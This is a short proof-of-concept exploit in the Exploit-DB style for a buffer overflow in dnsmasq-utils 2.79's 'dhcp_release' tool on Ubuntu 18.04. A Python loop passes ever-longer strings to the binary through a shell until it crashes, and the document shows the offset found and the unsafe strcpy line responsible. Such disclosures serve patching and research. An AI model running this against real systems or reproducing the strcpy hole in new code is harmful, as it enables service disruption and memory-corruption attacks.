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# Exploit Title: dnsmasq-utils 2.79-1 - 'dhcp_release' Denial of Service (PoC)
# Date: 2020-04-06
# Exploit Author: Josue Encinar
# Software Link: https://launchpad.net/ubuntu/+source/dnsmasq/2.79-1
# Version: 2.79 
# Tested on: Ubuntu 18.04


from subprocess import Popen, PIPE

data = ""
bof = False
for i in range (1, 200):
    A = "A"*i
    data = f"dhcp_release {A} 1 1"
    try:
        result = Popen(data, stdout=PIPE, stderr=PIPE, shell=True)
        error = result.stderr.read().decode()
        if "Aborted (core dumped)" in error:
            print("[+] Buffer Overflow detected!")
            print(f"[*] Offset: {i}")
            bof = True
            break
    except Exception as e:
        print(f"[-] {e}")

if not bof:
    print("[-] No buffer overflow...")


## Check line 273 in dhcp_release.c 
### strcpy(ifr.ifr_name, argv[1]);
#
## PoC:
# josue@ubuntu:~/Escritorio/bof_dhcp$ python3 dhcp_release_bof.py 
# *** buffer overflow detected ***: dhcp_release terminated
# [+] Buffer Overflow detected!
# [*] Offset: 16